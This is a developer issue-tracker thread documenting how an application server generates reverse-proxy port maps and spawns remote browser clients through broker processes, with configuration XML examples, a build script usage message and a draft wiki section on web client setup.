getBroker(...)reads theaccount/broker_account/hostattributes, then reads the two port-range values relative to the broker node usingConfigItem.RELATIVE_TO_PARENT:
int from = ConfigItem.<Integer>createConfigItemOfType(
ConfigItem.CLIENT_PORT_RANGE_FROM, Type.RELATIVE_TO_PARENT)
.setContainerNodeSearchPath("brokers/broker1/") // "brokers/<name>/"
.read(0);
// ... same for CLIENT_PORT_RANGE_TO ("portsRange/to")
CLIENT_PORT_RANGE_FROM/_TO have node name portsRange/from / portsRange/to, so the resolved directory path is brokers/broker1/portsRange/from and …/to.
- The resulting
BrokerreportsisPortsRestricted()as(to > from) && (from > 0). Forbroker1that is(7459 > 7449) && (7449 > 0)→ true. A broker whose range is absent or invalid is not ports-restricted: it still occupies a host index (§2) but produces no lines in the map.
2. Host order — derived from the broker enumeration order¶
There is no host-index file and no stored index attribute. In broker mode the host index is the position of a broker in the ordered broker list:
- Index 1 is reserved for the FWD server's own loopback host (
localhost/127.0.0.1). The server is always "host 1". - Every broker node consumes the next index in the order it appears under the
brokerscontainer — the first broker →2, the second →3, and so on. This is true even for a broker that is not ports-restricted: it still takes its slot so that the numbering stays aligned with the runtime, which registers one host per broker regardless of its port configuration (§7).
So for the example (one broker, broker1 on 192.168.100.28):
index 1 : localhost / 127.0.0.1 (the FWD server) index 2 : 192.168.100.28 (broker1, first broker node)
Add a broker2 after broker1 and it becomes index 3, etc. The ordering is the directory enumeration order — the same order BrokerDiscovery returns and the same "well-defined host order" the comment in BrokerManager.registerBroker refers to. To renumber a host, reorder the broker nodes in the directory.
Each broker declares a unique host (mandatory, single-valued), and BrokerManager rejects a second broker that resolves to a host already claimed, so the host → index mapping is one-to-one.
Design decision — count every broker. The host index advances for every broker node, including brokers that are not ports-restricted, rather than only for the brokers that emit lines. This is deliberate, for consistency with the runtime:
BrokerManager.registerBrokerregisters one host per broker (HostsManager.addHost) regardless of its port configuration, so a non-ports-restricted broker still consumes a host slot at runtime. Counting it in the generator too keeps the offline indices and the runtime indices in lockstep. The trade-off is that the position of all broker nodes affects the numbering — adding, removing, or reordering any broker shifts the indices of the brokers after it.
3. Mode selection in generate(String host)¶
generate(host):
brokers = BrokerDiscovery.readBrokerConfigs(ds)
if (!brokers.isEmpty()):
→ generateWithBrokerRanges(brokers, fileName) # broker mode (directory-ordered)
else:
→ local mode: single host = host or "localhost", at index 1
The switch is simply whether any broker node exists. (Note this differs from an earlier draft that switched on "any broker is ports-restricted"; the mode is now decided purely by the presence of broker nodes.)
4. Broker mode — generateWithBrokerRanges¶
The generator walks the brokers in directory order, advancing the host index for every broker (starting at 1 for the server loopback, so the first broker host is 2), and emits lines only for ports-restricted brokers:
prefix = resolvePrefix(...) # see §6
hostIndex = 1 # 1 == server loopback (localhost)
for (broker : brokers.values()) { # directory enumeration order
hostIndex++; # every broker takes a slot: 2, 3, ...
if (!broker.isPortsRestricted()) continue; # but only restricted ones emit lines
for (port = broker.getFrom(); port <= broker.getTo(); port++) {
name = getPortName(prefix, broker.getFrom(), hostIndex, port);
write(name + " " + broker.getHost() + ":" + port);
}
}
The output file is map.clients-to-backends by default (the user may enter another name at the prompt). Because the index comes from the broker order, there is no hosts.txt lookup, creation, or write-back.
Port name format¶
getPortName (shared by the generator and the runtime) is:
«prefix»-«hostIndex»-«port - from + 1»
i.e. prefix, the host index, and the 1-based offset of the port within the range, joined by hyphens.
5. Local mode — single host¶
When brokers is empty, the generator uses the global webClient/portsRange (from / to, prompting and persisting them in the directory if absent, exactly as before) and maps a single host at index 1:
localHost = (host == null || host.isEmpty()) ? "localhost" : host
for (port = from; port <= to; port++) {
write(getPortName(prefix, from, 1, port) + " " + localHost + ":" + port)
}
host is the generate(...) argument — supplied on the command line as the optional second parameter (see §8). Use it to name the local server by the address a reverse proxy must reach (e.g. 192.168.100.3); omit it to fall back to localhost.
6. Caveat — namePrefix under the broker node is ignored¶
resolvePrefix(...) reads ConfigItem.PROXY_CLIENT_NAME_PREFIX, which is a Type.WEB_CLIENT item with node name portsRange/namePrefix — i.e. it resolves to the global webClient/portsRange/namePrefix, not the portsRange/namePrefix placed under the broker node.
Consequences:
- The
<node class="string" name="namePrefix" value="client"/>insidebroker1/portsRangein the example is not consulted by the generator. - The prefix comes from
webClient/portsRange/namePrefix; if that is empty the generator prompts for it (interactive) and defaults toclientif nothing is entered. - Only
portsRange/fromandportsRange/toare read per broker (BrokerDiscoverydoes not read a per-brokernamePrefix).
If a per-broker prefix is intended, it would require reading brokers/<name>/portsRange/namePrefix via a RELATIVE_TO_PARENT item in BrokerDiscovery/generateWithBrokerRanges; today it is a single global value.
7. Worked examples¶
Broker mode¶
Directory: a single ports-restricted broker broker1 → host=192.168.100.28, from=7449, to=7459, with prefix=client.
broker1 is the first broker node, so its host order is 2 (index 1 is the server loopback). The generator emits 11 lines:
client-2-1 192.168.100.28:7449 client-2-2 192.168.100.28:7450 client-2-3 192.168.100.28:7451 client-2-4 192.168.100.28:7452 client-2-5 192.168.100.28:7453 client-2-6 192.168.100.28:7454 client-2-7 192.168.100.28:7455 client-2-8 192.168.100.28:7456 client-2-9 192.168.100.28:7457 client-2-10 192.168.100.28:7458 client-2-11 192.168.100.28:7459
The left column is the proxy route name; the right column is the backend the reverse proxy forwards that route to. If a broker2 were added next, it would produce client-3-* lines for its own host and range.
Local mode¶
No brokers configured, global webClient/portsRange = 7449..7459, prefix=client, and the generator invoked with host 192.168.100.3. The single host is index 1:
client-1-1 192.168.100.3:7449 client-1-2 192.168.100.3:7450 ... client-1-11 192.168.100.3:7459
Invoked with no host argument, the backend column would read localhost:74xx.
8. Command line¶
java com.goldencode.p2j.main.ClientsToPortsGenerator <directory.xml> [host]
<directory.xml>— required; the directory the brokers / webClient config is read from.[host]— optional; the local-server host for local mode (defaults tolocalhost). Ignored in broker mode, where hosts come from the broker nodes. There is nohosts.txtargument.
9. The runtime side — the same order, no second source of truth¶
The generated map.clients-to-backends only routes correctly if the host index the proxy was configured with equals the host index the running server uses. Both sides derive that index from the same directory data, so they agree by construction:
HostsManagerpins the server loopback at construction:localhost → 1,127.0.0.1 → 1, and the host counter starts at1.- As brokers register (
BrokerManager.registerBroker→HostsManager.addHost), each host is assignedbroker.getIndex() + 1— i.e. its directory position (BrokerDiscoverysetsindex = i + 1), not a running registration-time counter. Keying the index off the directory position is what keeps the runtime aligned with the generator regardless of the order in which brokers actually register, or whether some brokers are skipped. HostsManager.getPortName(prefix, from, host, port)looks up that host's index directly by thehostliteral (hosts.get(host)) — no DNS resolution at route-name time — and calls the sameClientsToPortsGenerator.getPortName(...).WebClientsManageruses this to build the proxy web-root for a web client.
directory `brokers` order ──► host index ─┬─► generator: "client-2-7" (map.clients-to-backends)
└─► runtime : "client-2-7" (proxy web-root)
- Local mode / single-host: the host is index
1on both sides; nothing to diverge. - Broker mode / multiple hosts: the index is the broker's position in the directory order on both sides. Reordering the broker nodes (or the order in which brokers are expected to register) changes the index consistently for the generator and the server, so the proxy map and the runtime stay aligned without a flat file.
Host literal form¶
A broker's host attribute is used verbatim as its identity. The running server keys the host index by that exact literal: HostsManager.addHost stores the index under the registered host string, and getPortName looks it up by the same string (hosts.get(host)) — there is no DNS resolution at route-name time. The host registered (BrokerManager.registerBroker) and the host used to build the route name (WebClientsManager) both originate from the broker's host config value, so they match by construction. Keep the host literal in a single, consistent form across the directory and any proxy configuration derived from these route names — a different spelling of the same address (e.g. a DNS name vs. its IP) is treated as a distinct host because the lookup is now purely string-keyed.
10. Summary¶
generate(host)runs broker mode when thebrokerscontainer has any broker nodes, local mode otherwise. Neither mode reads ahosts.txtfile.- Broker mode: each broker node declares its
host,broker_account, and aportsRange/{from,to}. The host index is the broker's position in the directory order — loopback1, brokers2, 3, …, counting every broker. Ports-restricted brokers emit«prefix»-«hostIndex»-«offset» «host»:«port»lines intomap.clients-to-backends. - Local mode: a single host (the
hostargument, orlocalhost) is mapped at index1using the globalwebClient/portsRange. - The running server (
HostsManager) assigns indices from the same ordered broker registrations (loopback pinned to1), so the offline-generated proxy map and the runtime web-roots agree by construction.
#966 Updated by Greg Shah about 1 month ago
Please write documents in textile format instead of markdown. Textile has the advantage that we can post it into Redmine and see the properly formatted results. I've coverted your latest version and posted it here.
#967 Updated by Roger Borrello about 1 month ago
Greg Shah wrote:
Please write documents in textile format instead of markdown. Textile has the advantage that we can post it into Redmine and see the properly formatted results. I've coverted your latest version and posted it here.
I'm trying to contribute, but I don't see the big-picture view of this documentation. It starts right into the details, so I'm not sure what I'm looking at. Will this be detail added to Client Installation or someplace else?
#968 Updated by Sergey Ivanovskiy about 1 month ago
Roger Borrello wrote:
Greg Shah wrote:
Please write documents in textile format instead of markdown. Textile has the advantage that we can post it into Redmine and see the properly formatted results. I've coverted your latest version and posted it here.
I'm trying to contribute, but I don't see the big-picture view of this documentation. It starts right into the details, so I'm not sure what I'm looking at. Will this be detail added to Client Installation or someplace else?
This is for your usages because I know that you use ClientsToPortsGenerator in your scripts and these changes need to be known. What is the big-picture view that you needed?
#969 Updated by Roger Borrello about 1 month ago
Sergey Ivanovskiy wrote:
This is for your usages because I know that you use ClientsToPortsGenerator in your scripts and these changes need to be known. What is the big-picture view that you needed?
I don't use that script anywhere. The customer is probably who you are thinking of for their NGINX setup.
#970 Updated by Sergey Ivanovskiy about 1 month ago
OK. What parts should be documented to provide the big-picture view in your opinion? What is missed?
#971 Updated by Roger Borrello about 1 month ago
Roger Borrello wrote:
Revision 16637 contains a significant improvement toBut I need to include a bug fix in
dbash.shin revision 16607.
tools/docker/docker_build.sh:
- It can build multiple flavors of PG images at once by passing a comma-delimted list to the
--pg=option. - It will build a client image(s) (
fwd_4.0_ubuntu_24.04_client_pgNN_jdk17):- Contains the PSQL client, if
--pg=is included - Does not include the convert jars, so it is significantly smaller, as well as linking the
/opt/fwdsymlink to those jar files.
- Contains the PSQL client, if
- It was already building Docker dev images when
--build-devis included, but there are 2 varieties- The non-server version now includes PG client (
fwddev_4.0_ubuntu_24.04_jdk17) - The server version is the same (
fwddev_4.0_ubuntu_24.04_pg14_jdk17).
- The non-server version now includes PG client (
Note that if you are building the development images, and pass more than 1 PG, for example --pg=all, it will only build 1 image, with the highest level of PG passed. I did this because it is completely unnecessary to have all those images when they are all the same except for the level of PG client that is installed. The server development images are still generating as many as requested, since the PG server may be more critical for testing.
Usage changes slightly for the comma-list.
Usage: docker_build.sh [-d <dist>] [-pt] [--latest] [--build-dev] [--target_repo=<target_repo>] [--from_repo=<from_repo>] [--from_tag=<from_tag>] [--pg=<14|15|16|17|all|comma-list>] [--progress_plain] [--no_cache]
Build the FWD Docker runtime images from the dist images. Tag appropriately, and optionally push.
Where:
-d <dist> = location of distribution images (default=/home/rfb/projects/fwd/9709e/dist)
-p push image to repository
-t just display commands (test)
--latest tag as 'latest' as well
--build-dev Include development image builds
--pg=<versions> Include PostgreSQL client in image(s) and build PostgreSQL server image(s). Examples: 17, 14,15,16,17, or all (all=14-17)
--target_repo=<target_repo> if pushing, push built images to specified repository (default=goldencode)
--from_repo=<from_repo> specify a repo to pull base images from (including build) ('.' indicates local) (default=.)
--from_tag=<from_tag> specify a tagged base images to use (default=latest)
--progress_plain Don't use buildkit so docker build has more details.
--no_cache Don't use any cached layers.
-? or -h or --help = show usage.
I will update the wiki when this gets merged to trunk.
#972 Updated by Roger Borrello about 1 month ago
Sergey Ivanovskiy wrote:
OK. What parts should be documented to provide the big-picture view in your opinion? What is missed?
Well, since Greg is hammering me in #11511 for the flows, and I am looking at Web Client Setup as a starting point for the Docker containers, having an understand of where brokers would fit on those drawings would help immensely.
#973 Updated by Sergey Ivanovskiy about 1 month ago
Yes, I see that in this wiki Web_Client_Setup the broker diagrams are not present and broker remote spawn schema is not described. Are you planning to fill these gaps in the documentation for broker spawned web clients?
#974 Updated by Roger Borrello about 1 month ago
Sergey Ivanovskiy wrote:
Yes, I see that in this wiki Web_Client_Setup the broker diagrams are not present and broker remote spawn schema is not described. Are you planning to fill these gaps in the documentation for broker spawned web clients?
I don't know the internals enough to properly diagram it.
#975 Updated by Sergey Ivanovskiy about 1 month ago
Roger, I can add missed information according to the current version of 9709e using Claude help. Is it OK?
#976 Updated by Roger Borrello about 1 month ago
Sergey Ivanovskiy wrote:
Roger, I can add missed information according to the current version of 9709e using Claude help. Is it OK?
The existing SVG diagrams are in the ~/secure/code/p2j_repo/diagrams project.
#977 Updated by Roger Borrello about 1 month ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Roger, I can add missed information according to the current version of 9709e using Claude help. Is it OK?
The existing SVG diagrams are in the
~/secure/code/p2j_repo/diagramsproject.
#11439 can help
#978 Updated by Sergey Ivanovskiy about 1 month ago
- File broker_scheduling.mmd added
- File broker_deployment.mmd added
- File broker_deployment.svg added
- File broker_identity_trust.mmd added
- File broker_identity_trust.svg added
- File broker_registration.mmd added
- File broker_registration.svg added
- File broker_reverse_proxy.mmd added
- File broker_reverse_proxy.svg added
- File broker_scheduling.svg added
Web Client Setup¶
- Web Client Setup
This chapter documents how to configure and setup the FWD Server to allow access to the FWD Clients via a web browser (a different client than the Swing Applet). The Web Clients were implemented to allow access to a ChUI/GUI FWD Client running remotely on another machine (note that at the time of this writing only ChUI clients - using the Console Driver - can be accessed via a browser). Once all setup is performed, when accessing the remote FWD Client via the web browser, the user will have the same experience as if the user has connected to the remote machine and started the FWD Client there, manually: this means that the user will have the same OS security permissions and will be allowed to start processes, read files, access a shell to that machine, etc. But, an inherent limitation for the web clients is that they can start only processes which remain active in the same console window as the application client.
TBD: Add discussion for [[Spawner Setup and Configuration]], [[Remote Launchers]] and [[Reverse Proxy]].
The "Remote Launchers" and "Reverse Proxy" topics referenced above are now documented in the "Remote Web Client Spawning via Brokers":#remote-brokers section below.
System Requirements¶
The FWD Web Client should be able to run on any web browser which supports HTML5, Web Sockets and AJAX requests. At the time of this writing, the web client is expected to work properly with the latest versions of the Google Chrome, Mozilla Firefox, Internet Explorer and Safari browsers; from these, testing showed that the most reliable (in terms of performance and stability) is Google Chrome.
Considering how the dedicated web server (ran by each remote FWD Client, see the [[Spawner_Setup_and_Configuration#under-the-hood|Under the Hood]] section, for more details) computes its dedicated port, it is best for the machine on which the remote FWD Client is launched to be directly accessible from the machine used by the user to start the Web Client (i.e. no intermediate NAT-enabled router is required to access the FWD application server). If this is not set then the embedded web server (upon which the web client depends) will not be started at server startup. No error messages will be written to the log. The core idea is that there is no support for insecure web protocols.
The last requirement is that an user allowed to connect to the FWD application server via a web browser needs to have access to valid OS credentials on the remote machine on which the remote FWD Client is started (which at the time of this writing is the same machine on which the FWD application server is running). Without valid credentials, the user will not be allowed to pass the initial login page.
Setup¶
TBD: Needs updates to document the full range of current configuration and options.
To access web clients, it is required for the FWD server to have the spawner tool configured properly - as the spawner is not used only for launching web clients, details about its setup can be found in the [[Application Server Installation]] chapter of this book. This chapter assumes the client spawner tool is setup properly.
In addition to the spawner, the FWD server itself must be configured with a secure port. This is defined in the bootstrap configuration or is passed as a bootstrap configuration override on the server driver command line. The values that must be set include net:connection:secure=true and net:server:secure_port=<port>. For more details on this, please see Part 2: Bootstrap Configuration.
The remaining configuration is all related to the FWD server directory, which instructs how the terminal will be displayed in the web browser. The directory node is named chuiWeb and can reside either in /server/default/ or the /server/<server-id>/ section, with the later having priority over the default configuration; also, if a chuiWeb/<node>/ node is found in both per-server and default configuration, the per-server value will be used. The following table describe all the possible configurations (all nodes are children of the chuiWeb/ node), their default values and meaning.
| chuiWeb/ Node | Type | Default Value | Mandatory | Description |
|---|---|---|---|---|
enabled |
boolean |
false |
yes | Flag identifying if this application server is configured for launching web clients. |
port |
integer |
0 |
no | An explicit port to start the FWD Client's embedded web server, or 0 to let the OS assign one. This applies when no ports range is configured: a non-zero value is used as the explicit embedded web server port, while a value of 0 means the new web client's port is assigned by the OS. |
fontsize |
integer |
12 |
no | The font's point size used for all text. |
rows |
integer |
24 |
no | The number of rows of text on the terminal screen. |
columns |
integer |
80 |
no | The number of columns of text on the terminal screen. |
webSocketTimeout |
integer |
-1 |
no | Web socket timeout (in milliseconds). This is a timeout after which the web socket is closed. |
watchdogTimeout |
integer |
-1 |
no | Watchdog timeout (in milliseconds). After the web socket is closed, the watchdog will wait at least that certain amount of time and, if the web socket was connected again, it will decide to terminate the FWD client, as the remote user is no longer connected to it. A value of -1 will mean the remote FWD client will be terminated as soon as the web socket is closed. |
Considering the table above, the minimal chuiWeb/ node looks like:
<node class="container" name="chuiWeb">
<node class="boolean" name="enabled">
<node-attribute name="value" value="TRUE"/>
</node>
</node>
while the full node looks like:
<node class="container" name="chuiWeb">
<node class="boolean" name="enabled">
<node-attribute name="value" value="TRUE" />
</node>
<node class="string" name="background">
<node-attribute name="value" value="0x000000" />
</node>
<node class="string" name="foreground">
<node-attribute name="value" value="0xFFA500" />
</node>
<node class="string" name="selection">
<node-attribute name="value" value="0x0000FF" />
</node>
<node class="string" name="fontname">
<node-attribute name="value" value="monospaced" />
</node>
<node class="integer" name="fontsize">
<node-attribute name="value" value="12" />
</node>
<node class="integer" name="rows">
<node-attribute name="value" value="24" />
</node>
<node class="integer" name="columns">
<node-attribute name="value" value="80" />
</node>
<node class="integer" name="webSocketTimeout">
<node-attribute name="value" value="-1" />
</node>
<node class="integer" name="watchdogTimeout">
<node-attribute name="value" value="300000" />
</node>
<node class="integer" name="port">
<node-attribute name="value" value="9443" />
</node>
<node class="string" name="host">
<node-attribute name="value" value="localhost" />
</node>
</node>
Under The Hood¶
This section documents the implementation details of the web client.
Web Client Modes¶
The following shows the different modes of the web client.
TBD: More discussion, include ChUI as well.

Spawning a Web Client¶
TBD: Add descriptions for both embedded mode forms. Add spawner flow and description for ChUI.

This description is out of date. It needs to be updated to match the above diagram.
This section describes how the FWD Server and the remote FWD Client react, when the user accesses a Web Client:
- The process with the user opening a browser session with the FWD server (running an embedded Jetty instance on the same port as the administration console). The URL will look like
https://localhost:<port>/chui, where<port>is the port configured in theadminPortdirectory configuration, in the server section (default or per-server). Depending on your browser configuration and how the server's SSL certificate was generated, the browser might show you an “untrusted connection” message and ask you to accept the certificate before continuing, on the first connection to this host and port. - The FWD server sends down a login page, which looks like:

- The user inputs their operating system level user credentials (e.g. Linux userid and password) and submits the form.
- Using the spawner tool (see the [[Application Server Installation]] chapter for how to install the spawner), the FWD server thus launches a new FWD client (as a child process) and part of that "spawn" processing is an OS-level login. If the given credentials are authentic/correct, the child process is not only launched, but it has the user's context at the OS level. In other words, the process is run under the user's id and has full access to that user's files/configuration/rights.
- The FWD client has its own embedded web server. After successfully launching and initializing, it provides URL information back to the FWD server to allow a connection to the FWD client's web server.
- The FWD server sends a redirect response back to the user's initial browser session. This also includes an authorization token that allows the FWD client to ensure that only that browser session may access that web server.
- The user's browser session redirects to the FWD client's web server. This web server is ran using the server's certificate, so the browser might show you an “untrusted connection” message and ask you to accept the certificate before continuing, on the first connection to this host and port. And if the port is randomly assigned, this will mean each time a new port is reached, the “untrusted connection” message will be displayed. If you are encountering a
HTTP ERROR: 403 - Forbiddenpage after the redirect, note at the time of this writing there is a limitation for web clients: thechuiWeb/hostnode needs to be configured so that it mentions the server's host used to access the web client. - The FWD client's web server sends back the "main" page which is mostly Javascript.
- The loaded page establishes a bidirectional websocket to the FWD client.
- At this point the ChUI driver in the FWD client and the javascript code in the browser will communicate freely. The core idea here is that the page is not reloaded or refreshed, but instead the javascript code just handles the rendering of what looks like a terminal and it handles the forwarding of user input (keys in a ChUI environment).
- The FWD client processes as it normally would except that the ChUI driver delegates the final aspects of the UI to the browser side. Note that, depending on how the FWD application server is configured, the user might be required to enter distinct credentials, to access the application server (which may be different than the OS credentials, which are required to remotely launch the FWD Client).
- If the user exits the application normally or if it gets automatically disconnected (i.e. due to server shutdown), the browser will be redirected back to the initial login page.


Security¶
TBD: HTTPS only, how our certs work, spawner security, OS accounts for spawning (UNIX/Linux suid bit, Windows OS user auth), session redirect during auth/spawning, one-time auth token and web socket shift, all web resources are from server's jetty (initial auth) or client's jetty (actual web client usage)...
Remote Web Client Spawning via Brokers¶
Status: Draft for review — author: investigation of FWD com.goldencode.p2j.main broker / web-client subsystem.
Scope: How the FWD server, with the help of a broker client, spawns remote web (browser) GUI clients.
Reference configuration: hotel_gui deployment — server deploy/server/directory.xml, broker client deploy/client/broker1_client.xml.
NOTE: The diagrams in this section are provided as PNG images (rendered from Mermaid sources). The PNG files and their .mmd sources live in the images/ folder; attach the PNGs to this wiki page so the !...! image references below resolve.
1. Overview¶
The FWD "broker" mechanism lets the FWD server delegate the launching of per-user web client JVMs to one or more broker hosts. A broker is itself an FWD client process started in a special broker mode that does not run any application UI; instead it logs into the server, registers as a remote launcher, and then waits for spawn requests. When a browser requests the web GUI, the server picks a registered broker, asks it (over an authenticated RPC connection) to start a new web client JVM, and the spawned web client then serves the browser its own embedded HTML5/Canvas UI.
Four distinct runtime actors are involved:
| Actor | Process / class | Config file | Role |
|---|---|---|---|
| FWD Server | standard server (ServerDriver); hosts BrokerManager, WebClientsManager, WebDriverHandler / VirtualDesktopWebHandler |
deploy/server/directory.xml |
Directory/auth authority; serves the login landing page; selects a broker; allocates the client port; orchestrates the spawn. |
| FWD Client (Broker Client) | BrokerCore in broker mode (<mode broker="true"/>) |
deploy/client/broker1_client.xml |
Authenticates to the server as the broker process account; registers; receives spawn RPCs; launches web client JVMs on its host via the native spawn binary. |
| FWD Spawned Web Client | a fresh FWD client JVM (GuiWebDriver / ChuiWebDriver + embedded Jetty) launched by the broker |
runtime options injected by the broker/server | Runs the actual 4GL session for one user; exposes an embedded web server that the browser connects to. |
| FWD Browser Web Client | the end user's browser (p2j.js on HTML5 Canvas) |
— | Loads the landing page from the server, POSTs credentials, is redirected to the spawned web client's embedded server, then runs over a WebSocket. |
1.1 Deployment / component view¶

2. Reference configuration¶
The two configuration files encode the identity, trust, and resource parameters that the whole mechanism depends on.
2.1 Server: directory.xml¶
The server side contributes four pieces of configuration that matter to the broker flow.
- The broker process account* —
accounts/processes/broker1_process:
<node class="process" name="broker1_process"> <node-attribute name="enabled" value="TRUE"/> <node-attribute name="description" value="broker1_process"/> <node-attribute name="server" value="FALSE"/> <node-attribute name="alias" value="broker1"/> </node>
This is the FWD process identity the broker client authenticates as. Its certificate alias is broker1.
- The broker's certificate and private key* — under
certificates:
certificates/peers/broker1— the X.509 certificate (CNbroker1 account) the server trusts as a peer.certificates/private-keys/broker1— the key entry + key password.
These correspond, on the client side, to the broker1-private-key.store keystore.
- Authorization* — two permission entries grant the broker its rights:
<!-- broker1_process may read the accounts container -->
<node class="container" name="000510">
<node class="strings" name="subjects">
<node-attribute name="values" value="broker1_process"/>
</node>
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="accounts"/>
</node>
</node>
<!-- the broker identity 'broker1' is a trusted spawner that may spawn OS-user 'fwd' processes -->
<node class="container" name="trustedspawner">
<node class="container" name="000100">
<node class="resource" name="resource-instance">
<node-attribute name="reference" value="fwd"/>
</node>
<node class="trustedSpawnerRights" name="rights">
<node-attribute name="allow" value="true"/>
</node>
<node class="strings" name="subjects">
<node-attribute name="values" value="broker1"/>
</node>
</node>
</node>
The trustedspawner entry is the key authorization that allows the broker (broker1) to launch processes that run as OS user fwd. It is enforced via TrustedSpawnerResource / TrustedSpawnerRights.
- The broker definition* —
server/default/brokers/broker1:
<node class="container" name="brokers">
<node class="broker" name="broker1">
<node-attribute name="account" value="fwd"/>
<node-attribute name="broker_account" value="broker1_process"/>
<node-attribute name="host" value="192.168.100.28"/>
<node class="container" name="portsRange">
<node class="string" name="namePrefix"><node-attribute name="value" value="client"/></node>
<node class="integer" name="from"><node-attribute name="value" value="7449"/></node>
<node class="integer" name="to"><node-attribute name="value" value="7459"/></node>
</node>
</node>
</node>
This is parsed by BrokerDiscovery.readBrokerConfigs() into Broker objects.
| directory.xml attribute | Broker field (BrokerDiscovery.getBroker()) |
Meaning |
|---|---|---|
broker_account = broker1_process |
brokerAccount |
The process account the broker must authenticate as. Checked at registration. |
account = fwd |
accounts (List) |
The FWD/OS user(s) this broker serves. Used to choose a broker for a given user. |
host = 192.168.100.28 |
host |
The broker host; also the host the browser will ultimately reach. |
portsRange/from = 7449 |
from |
First TCP port for spawned web clients on this host. |
portsRange/to = 7459 |
to |
Last TCP port. portsRestricted = (to > from) && (from > 0). |
2.2 Broker client: broker1_client.xml¶
<node type="client">
<client><mode broker="true" /></client> <!-- BROKER MODE -->
<net>
<server host="192.168.100.28" />
<server port="3433" />
<server secure_port="3333" />
<connection secure="true" />
</net>
<security>
<certificate validate="true" />
<truststore filename="../server/srv-certs.store" />
<truststore alias="standard" />
<keystore filename="../server/broker1-private-key.store" />
<keystore processalias="broker1" /> <!-- authenticate as broker1 -->
<authentication type="program"/> <!-- certificate/program auth -->
</security>
<broker>
<retry count="10" />
<retry seconds="10" />
</broker>
<client>
<spawner value="/home/fwd/opt/hotel_gui/spawn" /> <!-- native spawn binary -->
<jvmArgs value="-Xmx1G ... -Xrunjdwp:...address=9988..." />
<classpath value=".../lib/p2j.jar" />
<minAgentPort value="9988" />
<maxAgentPort value="9999" />
<web host="192.168.100.28"/> <!-- dedicatedHost advertised -->
<web dedicatedMode="false"/> <!-- network-accessible clients -->
<web defaultOsUser="fwd"/> <!-- OS user spawned clients run as -->
</client>
</node>
This is read by BrokerCore.initialize(BootstrapConfig).
| broker1_client.xml | ConfigItem / BrokerCore field |
Role |
|---|---|---|
mode broker="true" |
broker mode | Run as a remote launcher, not a UI client. |
net/server/host, secure_port |
host, port |
Server endpoint (TLS, 3333). |
security/keystore processalias="broker1" |
keystore alias | Authenticate as process broker1_process. |
authentication type="program" |
program auth | Certificate-based process authentication. |
broker/retry count/seconds |
count / seconds |
Reconnect retry loop (10× every 10 s). |
client/spawner |
spawner |
Path to the native spawn binary. |
client/jvmArgs, classpath |
jvmargs, classpath |
JVM args + classpath used for spawned clients. |
client/minAgentPort/maxAgentPort |
minAgentPort/maxAgentPort (9988–9999) |
Agent (debug/JMX) port range on the broker host. |
client/web/host |
dedicatedHost |
Host advertised to the browser for the spawned client. |
client/web/dedicatedMode = false |
dedicatedMode |
false → clients are reachable over the network at host (not forced to localhost). |
client/web/defaultOsUser = fwd |
associatedUser |
OS user the spawned client JVM runs as. |
2.3 Identity & trust chain (how the two files line up)¶

3. Broker startup & registration¶
When the broker client process starts (BrokerCore.start(cfg)):
initialize(cfg)readsbroker1_client.xml(section 2.2) and marks the process as a client (cfg.setServer(false)).SecurityManager.createInstance(cfg)loads thebroker1keystore /srv-certs.storetruststore.- A retry loop (
count×seconds) callsconnect(sessMgr, cfg):sessMgr.connectDirect(...)opens a secure session to the server (TLS, port 3333). The TLS handshake presents thebroker1certificate; the server authenticates the session as process accountbroker1_process(program authentication).- The broker obtains the server-exported
BrokerServerServicesproxy and callsregisterBroker(...), passingdedicatedHost(web host),associatedUser(defaultOsUser),dedicatedMode, the agent port range (minAgentPort/maxAgentPort), and debugger/JMX hints.
- On the server,
BrokerManager.registerBroker(...):- Looks up the matching
brokers/broker1entry by host and verifies the authenticated account equalsbroker_account(broker1_process). A mismatch throws and the registration is rejected. - Builds a
BrokerParametersrecord (randomuuid, authenticateduserId,agentAddress= host,associatedUser,dedicatedMode, aBrokerClientServicesremote proxy back to the broker, andstate = OPEN). - Registers the host with
WebClientsManager.createResourceQueue(...), which pre-fills aBlockingQueue<WebAllocatedResources>with one entry per port in7449..7459(plus the agent debug/JMX ports). The host index = brokerindex + 1(localhost is 1).
- Looks up the matching
registerBrokerreturns theuuid; the broker keeps the session open and waits for spawn RPCs.

4. Spawning a web client for a browser¶
4.1 End-to-end sequence¶
- Landing page — the browser does
GET /gui(or/chui).VirtualDesktopWebHandler.handle()→serveLandingPage()returns the login HTML. - Login POST — the browser POSTs credentials.
WebDriverHandler.handleStartClientRequest()extractsWebDriverRequestParameters(user, password, theme, device id, and any reverse-proxyX-Forwarded-Host/-Proto) and buildsWebDriverSpawnParameters(driver type, SSO flag, options), then callsspawnWorker(...). - Resource allocation —
WebClientsManager.allocateClient(proxyConfigs, host, uuid, osUser)polls oneWebAllocatedResources(a free port, e.g.7449, plus agent ports) from the broker host's pre-filled queue, tests that the port is actually free, and records theuuid → resourcesmapping. - Broker selection & spawn RPC —
spawnWorkerinvokesWebClientSpawner.spawn(...), which (because this is a remote/broker spawn) routes throughBrokerManager.spawn(clientBuilder, dedicatedUser, brokers, args, allocator, requestParameters, uuid):schedule(...)picks a registered broker for the user — honoringaccount=fwd/ dedicated-host constraints and choosing the lowestgetSystemLoading().updateWebClientOptions()injects the allocated--port=7449(and reverse-proxy host/proto/web-root if present) into the command.- The server calls
broker.getRemote().spawn(BrokerSpawnParameters)over the broker's RPC session.BrokerSpawnParameterscarries the command line + environment; trusted-vs-password mode decides whether a one-time password is streamed over stdin.
- Process launch on the broker —
BrokerCore.spawn(args)(running on the broker host):- Resolves command placeholders against the broker's local config —
PARAM_SPAWNER→spawnerpath,PARAM_JVM→jvmArgs,PARAM_CP→classpath,PARAM_HOST/PARAM_PORT→ server endpoint,PARAM_REMOTE_AGENT_HOST→dedicatedHost,PARAM_DEDICATED_MODE→dedicatedMode. - Runs the native
spawnbinary viaProcessBuilder(as OS userfwd, per the trusted-spawner grant), optionally writing the one-time password to stdin, and waits up to the launch timeout.
- Resolves command placeholders against the broker's local config —
- Spawned web client comes up — the new JVM authenticates to the server with its temporary credentials and runs
WebClientSpawner.TemporaryClientTask.doWork():- Imports the server key store into its config, creates a
GuiWebDriver(orChuiWebDriver), and callsEmbeddedWebServer.startupServer(...)which starts an embedded Jetty server onhost:port(e.g.192.168.100.28:7449). If a reverse proxy is configured, the URI is rewritten usingX-Forwarded-Host/-Protoand the proxy web-root. - It calls back to the server via RPC
